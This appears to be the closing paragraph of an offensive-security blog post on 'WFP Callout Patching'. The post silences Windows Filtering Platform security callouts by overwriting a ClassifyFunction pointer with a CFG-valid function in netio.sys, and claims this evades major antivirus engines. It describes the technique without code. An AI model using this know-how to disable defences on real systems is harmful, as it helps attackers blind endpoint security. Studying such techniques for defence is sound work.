WFP Callout Patching is a clean example of how understanding the internals of a defensive mechanism is the first step toward neutralizing it. By replacing the ClassifyFunction pointer with FeDefaultClassifyCallback, a CFG-valid function already inside netio.sys we silence the callout without triggering any control flow validation, and as the scan results confirm, without being flagged by any major AV engine. The key difference from the MiniFilter technique is that here we modify a function pointer rather than delink a list node, but the principle is the same: find the structure, understand its layout, and make a surgical write
📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter
S12.